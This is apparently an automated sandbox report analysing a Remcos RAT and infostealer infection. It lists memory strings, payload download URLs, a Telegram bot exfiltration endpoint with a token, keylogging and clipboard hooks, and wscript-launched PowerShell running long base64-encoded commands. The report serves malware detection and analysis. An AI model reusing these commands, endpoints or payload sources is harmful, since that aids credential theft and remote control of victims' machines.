          Source: CasPol.exe, 00000027.00000002.6394213708.000000001D5D8000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6392324112.000000001D4D1000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6394104232.000000001D5D4000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000027.00000003.3377494338.000000001C1D1000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6393763350.000000001D5B1000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6394488088.000000001D5F0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://VaZy5Ui1fWtrw.com
          Source: powershell.exe, 00000015.00000002.2355860681.0000000004781000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3297101465.00000000048E1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore6lB
          Source: CasPol.exe, 00000027.00000002.6395527478.000000001D654000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6394320921.000000001D5DC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org
          Source: CasPol.exe, 00000027.00000002.6394320921.000000001D5DC000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot2135733177:AAGBiQMSb9sct4MUL0kpdpB0pPO3n3AKBfA/sendDocument
          Source: CasPol.exe, 00000027.00000002.6392324112.000000001D4D1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.telegram.org/bot2135733177:AAGBiQMSb9sct4MUL0kpdpB0pPO3n3AKBfA/sendDocumentdocument-----
          Source: powershell.exe, 00000015.00000002.2370761640.00000000057E9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
          Source: powershell.exe, 00000015.00000002.2370761640.00000000057E9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
          Source: powershell.exe, 00000015.00000002.2370761640.00000000057E9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
          Source: powershell.exe, 00000015.00000002.2357747976.00000000048E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000015.00000002.2381742196.0000000007F05000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
          Source: powershell.exe, 00000015.00000002.2359569312.0000000004A18000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3301922011.0000000004B93000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
          Source: CasPol.exe, 00000027.00000002.6393200586.000000001D54E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/
          Source: ieinstal.exe, 0000001C.00000002.2504097343.0000000005076000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000002.2672817790.0000000004826000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6393200586.000000001D54E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://login.live.com//
          Source: CasPol.exe, 00000027.00000002.6393200586.000000001D54E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/https://login.live.com/
          Source: ieinstal.exe, 0000001C.00000002.2504097343.0000000005076000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000002.2672817790.0000000004826000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6393200586.000000001D54E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/v104
          Source: ieinstal.exeString found in binary or memory: https://login.yahoo.com/config/login
          Source: powershell.exe, 00000015.00000002.2370761640.00000000057E9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
          Source: CasPol.exe, 00000027.00000002.6348628916.0000000000DD2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://onedrive.live.com/
          Source: CasPol.exe, 00000027.00000002.6348628916.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000027.00000003.3255113193.0000000000E33000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://onedrive.live.com/download?cid=B6AB3B5EAFD51867&resid=B6AB3B5EAFD51867%21312&authkey=AJEiJ04
          Source: ieinstal.exe, 0000001A.00000002.6342549934.000000000339B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://onedrive.live.com/download?cid=B6AB3B5EAFD51867&resid=B6AB3B5EAFD51867%21315&authkey=AOvGd5g
          Source: ieinstal.exe, 0000001A.00000002.6344984869.00000000033D1000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 0000001A.00000003.2611384647.0000000003441000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 0000001A.00000002.6350241246.0000000003441000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 0000001A.00000002.6343660650.00000000033B8000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 0000001A.00000003.2611120779.000000000342C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://srod3g.dm.files.1drv.com/
          Source: ieinstal.exe, 0000001A.00000002.6343660650.00000000033B8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://srod3g.dm.files.1drv.com/E(
          Source: ieinstal.exe, 0000001A.00000002.6342549934.000000000339B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://srod3g.dm.files.1drv.com/y4m1P90Kk2H-cNQxXOJmqK2HftFgWGvGMYnAecew4IQelLJRvEs3Mvm9AZePLE-7ycB
          Source: ieinstal.exe, 0000001A.00000002.6344984869.00000000033D1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://srod3g.dm.files.1drv.com/y4m_w_TYZR6G948D0zxHbGIPmcNEAsiCr-h7u8jiKbgtUzAGOf6HCSyuDMew_yzc9ES
          Source: ieinstal.exe, 0000001A.00000003.2611384647.0000000003441000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 0000001A.00000002.6350241246.0000000003441000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://srod3g.dm.files.1drv.com/z
          Source: CasPol.exe, 00000027.00000002.6348628916.0000000000DD2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://srqeug.dm.files.1drv.com/
          Source: CasPol.exe, 00000027.00000003.3254938732.0000000000E20000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://srqeug.dm.files.1drv.com/J
          Source: CasPol.exe, 00000027.00000003.3255113193.0000000000E33000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://srqeug.dm.files.1drv.com/y4mQ5yJoi4Y6HcwNbCc6pUgdD-mITQ7kZEuD91b6ItEUlOdCsX5pbb6sRhAFyyW0rsi
          Source: CasPol.exe, 00000027.00000003.3265852741.0000000000E3F000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6352571427.0000000000E31000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000027.00000003.3265748320.0000000000E34000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://srqeug.dm.files.1drv.com/y4mWmfXrC7pY_5e5zLdKHGbqTRTY7ru3PzSbuunLusBV8qDfu1gh_BHmiBYNt80W1VE
          Source: ieinstal.exe, 0000001C.00000003.2495333477.0000000005070000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 0000001C.00000003.2498783811.0000000005070000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 0000001C.00000003.2490758803.0000000005071000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 0000001C.00000003.2495478624.0000000005081000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 0000001C.00000003.2490830366.000000000507A000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 0000001C.00000003.2490666850.000000000506F000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 0000001C.00000002.2504032719.0000000005070000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000003.2667344429.000000000481F000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000003.2664518892.0000000004831000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000003.2659206806.0000000004821000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000003.2659027511.000000000481E000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000003.2659302297.000000000482A000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000003.2664137639.0000000004820000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000002.2672748777.000000000481F000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6393200586.000000001D54E000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://support.google.com/chrome/?p=plugin_flash
          Source: ieinstal.exe, 0000001A.00000002.6339175532.0000000003350000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://vegproworld.com/
          Source: ieinstal.exe, 0000001A.00000002.6339175532.0000000003350000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://vegproworld.com/wp-content/Medalj.vbs
          Source: ieinstal.exe, 0000001A.00000002.6339175532.0000000003350000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://vegproworld.com/wp-content/Medalj.vbsL5
          Source: ieinstal.exeString found in binary or memory: https://www.google.com/accounts/servicelogin
          Source: CasPol.exe, 00000027.00000002.6392324112.000000001D4D1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www
          Source: unknownDNS traffic detected: queries for: vegproworld.com
          Source: global trafficHTTP traffic detected: GET /wp-content/Medalj.vbs HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: vegproworld.comCache-Control: no-cache
          Source: global trafficHTTP traffic detected: GET /y4m1P90Kk2H-cNQxXOJmqK2HftFgWGvGMYnAecew4IQelLJRvEs3Mvm9AZePLE-7ycBADDM9gjChXojaUAFvzvY-Cy423yGwrUlC_bcoe1JiYKCw2nHeJm1x3gw-2YaAOTwF9stB2Fe3I_Q9EF5DHXKtmNsHMwqvsJEU4eUPPpWM4bTgczCUMzY-aeTL5nEBZP9w9o-E6QNqLbkLX7BveYa8g/asorem_uGQzQlB204.bin?download&psid=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: srod3g.dm.files.1drv.comConnection: Keep-Alive
          Source: global trafficHTTP traffic detected: GET /download?cid=B6AB3B5EAFD51867&resid=B6AB3B5EAFD51867%21312&authkey=AJEiJ04sJsNkOJM HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: onedrive.live.comCache-Control: no-cacheCookie: MUID=20718A960FA8687F03949A000BA86C7A; wla42=
          Source: global trafficHTTP traffic detected: GET /y4mQ5yJoi4Y6HcwNbCc6pUgdD-mITQ7kZEuD91b6ItEUlOdCsX5pbb6sRhAFyyW0rsiikZIYNIG3aN6ru2QI2Jocl96QMckoKGjZLRdv33V4FgJlT3eaTuEf_wqTXNdhutLMwhMLh-VKMkO_LprFAOjs6TmBR3J7sRcYsKdRqB40Ocy23CLaBXHZNwliA1rPOqAP9E2b6fOWIjj8SBiqNoMxg/asonewstub_sILUK5.bin?download&psid=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoCache-Control: no-cacheHost: srqeug.dm.files.1drv.comConnection: Keep-Alive
          Source: unknownNetwork traffic detected: HTTP traffic on port 49758 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49775
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49774
          Source: unknownNetwork traffic detected: HTTP traffic on port 49779 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49760
          Source: unknownNetwork traffic detected: HTTP traffic on port 49760 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49775 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 49778 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49758
          Source: unknownNetwork traffic detected: HTTP traffic on port 49774 -> 443
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49779
          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49778
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
          Source: CasPol.exe, 00000027.00000003.3481003687.000000002080B000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 00000027.00000002.6394920042.000000001D613000.00000004.00000800.00020000.00000000.sdmp, Cookies.39.drString found in binary or memory: .www.linkedin.combscookie/ equals www.linkedin.com (Linkedin)
          Source: Cookies.39.drString found in binary or memory: .www.linkedin.combscookiev10 equals www.linkedin.com (Linkedin)
          Source: ieinstal.exe, 0000001C.00000003.2500504171.0000000003899000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 0000001C.00000002.2503749219.0000000003899000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000002.2672430278.00000000031D9000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000003.2669129571.00000000031D9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: amingoverlay:///ms-gamingoverlay://kglcheck/https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.facebook.com (Facebook)
          Source: ieinstal.exe, 0000001C.00000003.2500504171.0000000003899000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 0000001C.00000002.2503749219.0000000003899000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000002.2672430278.00000000031D9000.00000004.00000020.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000003.2669129571.00000000031D9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: amingoverlay:///ms-gamingoverlay://kglcheck/https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login equals www.yahoo.com (Yahoo)
          Source: ieinstal.exeString found in binary or memory: http://www.facebook.com/ equals www.facebook.com (Facebook)
          Source: ieinstal.exe, 0000001C.00000003.2487495243.000000000509D000.00000004.00000800.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000003.2655813077.000000000484D000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: tOverride"}],"version":1},"web_notification_override":{"applications":[{"applied_policy":"prompt","domain":"www.reddit.com"},{"applied_policy":"prompt","domain":"www.telegraphindia.com"},{"applied_policy":"prompt","domain":"timesofindia.indiatimes.com"},{"applied_policy":"prompt","domain":"pushengage.com"},{"applied_policy":"prompt","domain":"www.timesnownews.com"},{"applied_policy":"prompt","domain":"www.couponrani.com"},{"applied_policy":"prompt","domain":"www.wholesomeyum.com"},{"applied_policy":"prompt","domain":"www.asklaila.com"},{"applied_policy":"prompt","domain":"www.sammobile.com"},{"applied_policy":"prompt","domain":"www.ecuavisa.com"},{"applied_policy":"prompt","domain":"uz.sputniknews.ru"},{"applied_policy":"prompt","domain":"www.ndtv.com"},{"applied_policy":"prompt","domain":"www.elimparcial.com"},{"applied_policy":"prompt","domain":"www.povarenok.ru"},{"applied_policy":"prompt","domain":"www.estadao.com.br"},{"applied_policy":"prompt","domain":"olxpakistan.os.tc"},{"applied_policy":"prompt","domain":"televisa.com"},{"applied_policy":"prompt","domain":"uol.com.br"},{"applied_policy":"prompt","domain":"www.axisbank.com"},{"applied_policy":"prompt","domain":"mutualfund.adityabirlacapital.com"},{"applied_policy":"prompt","domain":"www.facebook.com"},{"applied_policy":"prompt","domain":"www.instagram.com"},{"applied_policy":"prompt","domain":"www.messenger.com"}],"policies":[{"name":"prompt","reason":"","type":"","value":""}],"version":1}} equals www.facebook.com (Facebook)
          Source: ieinstal.exe, 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000002.2669829666.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.facebook.com (Facebook)
          Source: ieinstal.exe, 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, ieinstal.exe, 00000020.00000002.2669829666.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: ~@:9@0123456789ABCDEFURL index.datvisited:https://www.google.com/accounts/serviceloginhttp://www.facebook.com/https://login.yahoo.com/config/login$ equals www.yahoo.com (Yahoo)
          Source: unknownHTTP traffic detected: POST /bot2135733177:AAGBiQMSb9sct4MUL0kpdpB0pPO3n3AKBfA/sendDocument HTTP/1.1Content-Type: multipart/form-data; boundary=---------------------------8da342734d3a29dHost: api.telegram.orgContent-Length: 998Expect: 100-continueConnection: Keep-Alive
          Source: unknownHTTPS traffic detected: 148.66.138.165:443 -> 192.168.11.20:49758 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 13.107.43.12:443 -> 192.168.11.20:49760 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 13.107.43.13:443 -> 192.168.11.20:49774 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 13.107.43.12:443 -> 192.168.11.20:49775 version: TLS 1.2
          Source: unknownHTTPS traffic detected: 149.154.167.220:443 -> 192.168.11.20:49778 version: TLS 1.2

          Key, Mouse, Clipboard, Microphone and Screen Capturing

          barindex
          Installs a global keyboard hook
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWindows user hook set: 0 keyboard low level C:\Windows\Microsoft.NET\Framework\v4.0.30319\caspol.exe
          Source: C:\Program Files (x86)\Internet Explorer\ieinstal.exeCode function: 28_2_0041183A OpenClipboard,GetLastError,DeleteFileW,28_2_0041183A
          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeWindow created: window name: CLIPBRDWNDCLASS

          E-Banking Fraud

          barindex
          Yara detected Remcos RAT
          Source: Yara matchFile source: 0000001A.00000003.2611384647.0000000003441000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 0000001A.00000002.6350241246.0000000003441000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: ieinstal.exe PID: 2480, type: MEMORYSTR

          System Summary

          barindex
          Wscript starts Powershell (via cmd or directly)
          Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBJAG4AcwB0AHIAdQA5ACAAUwBCAEUAVQBSAFQARQBSAE4ARQAgAFMAbABhAG4AIABTAHAAbwBuAHQAYQBuADcAIABVAE4AQwBBAEwATAAgAGUAbQBiAG8AIAByAGUAaQB0ACAAVABhAHIAcABhAHAAZQAgAHUAZwBpAGYAdABlAHMAZAAgAEIAQQBDAEsAUwBUAEEASQBSACAAZQBnAG8AaQB0AHkAaAAgAFMAbQBlAGQAIABVAFIATwBHAEUATgAgAHYAYQBzAG8AcgByAGgAYQBwACAAQQBtAGUAdAByAG8AIABQAEEAUgBBAFAASABSAEEAUwBUACAASwByAHkAbQBtAGUAbABsAG8AYwAyACAASQBOAFQARQBSAFMAUABJAFIAIABVAG4AcwBxAHUAZQA2ACAAagBhAGMAbwBiAGkAdABpAHMAIABQAEgATwBOAE8AUABIACAAQQBiAHMAYwBvAG4AZABlAHIAcwA3ACAAQwBoAGkAawBpAHQAYQBvAHAAcwAgAFMASwBZAEcARwAgAEQATwBNAE0ARQBEAEEARwBTACAAbgBvAG4AYQBzAHMAaQBzAHQAYQAgAEEAcgBjAGgAYwBoAGUAIAB0AHYAaQB2ACAASwBhAHAAcgBpAGYAbwBsAGkAIABGAGkAbgBhAG4AcwB0AGkAIAANAAoAIwBUAHIAaQBwAHAAZQB0AHMAIABNAGwAawBlADIAIABuAG8AbgBlAHgAcABsAG8AcgAgAEYATwBMAEsARQBDAEUAIABBAHIAdgBlAGYAbABnAGUAIABGAEEAUwBUAFAAUgBJAFMAUwBZACAASABvAGcAZwB3ADYAIABSAGUAcABlAHQANAAgAEgAQQBMAFYATwBOAEsATABFACAAQQByAGIAZQBqAGQAcwAgAFAATABPAFQAVABFAFIAIABUAHMAZQBkACAADQAKACMARAB5AG4AYQBtAGkAawBrAGUAbgA3ACAAUwBUAEsAWQBTAFQAVAAgAEgAeQBkAHIAbwBuAGkAdAA1ACAAcgBlAGQAaQBzAHQAcgBpACAAbQBlAHIAaQBjAGEAcgAgAHYAaQBwAHAAIABGAGEAYgByADEAIABGAEwATwBWAE0AQQAgAEEAQQBOAEQAUwBIAE8AIABTAHQAYQBhAGwAcwB0AHUAIABKAEUAUwBVAEkAIABUAGEAbgBhACAAQwBvAG0AbQBvACAARwB1AGEAcABpAG4AbwAgAFMAeQBuAGsAcgBvAG4ANwAgAGQAZQB2AGwAaQBuAHIAZQB0ACAATwBtAHMAdABuAGkAbgBnAHMAZwAgAFIAZQBzAGUAMgAgAG0AZQB0AHIAbwBsAG8AIABTAFUARwBFAE4ARQBLAEQAQgBPACAAUwB2AGkAcgBwAGUAdABzAHUAbQAxACAAaAB5AGQAcgBhAHQAZQByACAATwBCAFMARQBSAFYAQQAgAFQARQBNAFAAQQBOAEEAIABWAEkASwBJAE4ARwBFAFIAIAB1AHAAcgBpAHYAZQBlAGsAcwAgAGgAZQBhAHIAdABiACAARQBtAGIAZQBkACAAVQBOAEEAUwBTAEUATgAgAE8AUABLAEwAQQAgAGUAZQBiAHIAZQBlAHIAZQAgAFAAaQBjAHIAaQB0AGkAYwAzACAADQAKACMARQBFAEwASQBFAFMAVAAgAEMAcgB5AHMAdABhAGwAbwBnADEAIABEAFUAUwBJAE4ATQBFACAASQBuAGQAaQB2ADgAIAB1AGQAcwBrAHIAaQBmAHQAcwBwACAAVABlAGsAbgBvAGsAcgBhADEAIAB0AHkAbgBkAHQAZgAgAEUAbABlAHYAdABpAG0AZQA2ACAAZAB5AGsAcwB2ACAAYgBvAG4AYgBvAG4AZQByAHMAIABhAG4AdABpAGMAYQBwAGkAdAAgAHUAbgBkAGUAcgAgAHYAaQBlAHIAIABZAEQARQBSAFAAIABLAGwAYgBlAGIAYQBhAG4AZAA5ACAAVgBpAHAAcwB0ADQAIABNAGEAeABpAG0AbwBuACAAQQBwAHAAcgBhAGkAcwBlADQAIABBAFIAVABJAEcARQBSACAADQAKACMAVQBEAFMASwBSAEkARABOACAAegBpAHQAYQBzACAAcwBwAGEAbgBrACAAVABpAHAAcABlAHIAaABvADYAIABzAGMAcgBvAGwAIABGAG4AaQBzAHIAIABGAFIAQQBTAEkARwBFACAAZABpAGUAdABpAGMAaQBhACAAaABhAGEAbgAgAFMAcABhAGEAbQBuAGQAcwAxACAAcwBlAHIAdgBpACAATABlAGQAcwBhAGcAZQBtAHUAIABVAG4AZABlAHIAawBlAG4AZAB0ADcAIABTAGEAbgBkAHAANAAgAGsAYQBwAHMAbABlAHIAYgBhAHMAIABkAGkAcwByACAAUABSAE8AUAAgAHIAbwBzAHMAZQAgAEYAbwByAGsAbABhADkAIAANAAoAIwBUAHIAYQBuAHMAaQBzAHQAbwByADEAIABXAEEAUgBEACAARABvAG0AcwBmAG8AMwAgAEIAQQBKAEEARABTAEUATgAgAEsAQQBSAEEASwBUAEUAUgBCACAAYwBoAGwAbwAgAEkAcwBvAGMAIABPAHIAbwBuAHQAaQB1AG0AMwAgAEUAcQB1AGkAcABwAGUANwAgAEUAcABpAGcAcgBhAG0AcgAgAE0AYQB0AHQAaQBzAHAAdQAgAFMAaABvAHAAcABpAG4AZwBlACAAUgBFAFQASQAgAEQARQBPAFIAUwBVAE0AVgAgAGEAbABtAHUAIABHAHIAYQB2AGgAdQAgAEYAbwByAHMAZwA4ACAAVABIAEkAUg
          Source: C:\Windows\SysWOW64\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBLAE0AUABFAEgASgBTAFQAVQBUACAARABpAG4AbwBzACAAQwByAGEAeQBmAGkAcwBoAGkAIABGAEEARABFAFIATABJAEcAIABTAEwAVQBTAEgAWQBBAE4AIABtAGkAYwByAG8AZABlAG4AcwAgAEIAVQBEAFUATQBBAFIAVQBTACAAUwBsAHUAZwBlAHEAIABLAG8AcgBzAGYAcwAzACAARgBPAFIAQwBFAFAAUwBFAFMARwAgAE8AVABBAFIAIABNAEEAUgBDAEgAIABPAHIAZABpAG4AYQAyACAAUwB0AGUAZABvADcAIABCAGwAbwBkAHQAcgBhAG4AcwAgAEIAcgBpAGwAbABlAGYAbwAgAA0ACgAjAEcATABJAFQAUgBFACAAQQBOAFMAVgBBAFIAUwBCACAAUABhAHAAaQBsADEAIABoAGUAbQBhAHQAbwBjAHkAdAAgAEEAbgBhAHIAYwBoAGkAcwA3ACAAQgBPAEEAUgBEAFcAQQBMACAAQgBpAGcAYQBtAGkAYwBwACAAQwBVAEUAQwBBAEEAUgBCAEUASgAgAHIAYQB5AG8AbgBlAG4AcwAgAEoAYQB1AG4AdABpAG4AZwBsAHkANQAgAEMAbAB5AHAAZQBhAHMAdAByAGkAIABTAGEAeABvAGYAbwBuAGUAbgA3ACAAQQBLAFUAVABTAEsAQQBEAEUAIABFAFYAQQBMAFUAQQBUAE8AUgAgAEcAbAB1AG0AbQB5AGkAbgAgAEYAYQBzAGgAIABFAEoARQBOACAAdABlAHIAbQBvAGcAcgBhAGYAIAB6AGkAbgBrAGUAZgBvAHIAcwBlACAAUAByAGcAZQBoAG8AcgBhADQAIABBAGEAcgBzAHYAIABjAGUAbQBlAG4AdABsAGUAIABrAG8AbQBwAHIAbwBtAGkAIABEAGUAcgBhADMAIABKAFUATABFAEwAQwBPAE4AUwAgAHUAbgBkAGUAbQBvACAAZQBuAGQAbwBtAHkAYwBlAHQAYQAgAA0ACgAjAEYAdQBsAGQAZQBtAGEAbgA0ACAAVQBuAGMAaABpAG4AOQAgAFYASQBSAEcAIABDAG8AdwBzAG8AbgBiADMAIABCAFIARQBBAEQAUwBUAFUARgAgAFAAcgBlAHMAaAAgAEMAbwBsAGkAMgAgAEMAaABsAG8AcgBvAHAAYQBsAHUAMgAgAGMAbwBtAHAAIABFAHUAcABhAHQANQAgAE0ARQBTAFMASQBOACAAUwBLAEkATABMACAAVQBsAHUAbQBpAHUAcwBlAHIAIABBAGMAaQBkAG8AIABrAG8AbgBzAHQAcgB1AGUAIABGAEEATABDACAATwB1AHQAcwB3AG8AIABNAHYAaABrAHIAaQBnAHMAIABXAGUAYgBsADgAIAByAHUAbQBtACAADQAKACMAQwBhAHMAaABlAGwAZwBhACAASABvAHIAbgAgAEEAbgBkAGUAbgBkAGEAOAAgAEsATwBBAEcAVQAgAGQAcgBvAHMAbwBnAHIAYQBwAGgAIABNAGEAbgB6AG8AIAB0AGkAcABvAGwAZABlAGYAYQBkACAARgByAGUAbQB0ADUAIABXAGEAbABkAG0AZQBpAHMAMQAgAFMAVgBJAE4ARwBLAEEAIAANAAoAIwBVAGQAZABlAGwAIABQAFIARQBTACAAaABhAG4AZABoAGEAdgBpAG4AZwAgAFcAZQBhAHQAaABlAHIAZwBsADQAIABDAHIAZQBlAGsAeQBzADkAIABTAGkAawBrAGUAcgBoADcAIABEAFIASQBWACAAYwBvAGwAbAAgAFcATwBPAEwAVQBMAE8AUwAgAEMAaABhAHQAdABpADgAIABvAHAAcwBuACAAUwB0AHIAZQBwADcAIAB2AG8AcgBhAGcAbwBlAHIAdQAgAFUATgBHAEEARwAgAE0AQQBaAEUARABOAEUAUwBTAE4AIABNAGkAcwBiAGUAYwBvAG0AaQBuADIAIABGAEoARQBSACAATgBPAE4AUwBVAEIAIABrAGkAcgBrAGUAZgAgAGEAdAB0AGUAbQBwAGUAIABOAE8AUgBEAEEATQBFAFIASQBLACAAZgBsAGQAZQBrAGEAZwBlAHIAIABHAHIAZQBqADIAIABTAEsAQQBMAFAARQBOACAAUgBFAFQAUwBQAEwAIABHAFUAQgBCAEkATgAgAEIAQQBHAFQAQQBMACAAdQByAG8AcwBpAHMAIABUAHIAawBnAGEAcgA5ACAARAByAGkAZgB0AHMAZgBvAHIAIAANAAoAIwBBAGYAZABlAGwAaQA4ACAAUwBVAFIARgBMAEUARwBSAEkAIABiAGUAdAByAHkAZwAgAEUAUgBLAEwAQQBFACAAagB1AHMAdABlAHIAIAB0AGkAcABzAHMAZQBuACAARABJAFMATwBXAE4ASABBAEwAIABDAE8AQwBLAFQAQQBJAEwAUwAgAFYAcgBkAGkAaABmAHQAZQBqAG8AIABTAG0AYQBhAHMAbgAgAEEATABLAE8ASABPACAARQBlAHMAbQBpAHQAaAA4ACAAUgBFAEQARQBNAFAAIABjAGgAcgB5ACAAawBsAGUAYQBnAGcAcgBlAGcAYQAgAHAAaABvAHQAbwB0AGgAIABTAFQAQQBNAEEARgBEAEUAIABTAGwAaQBrAGsAZQB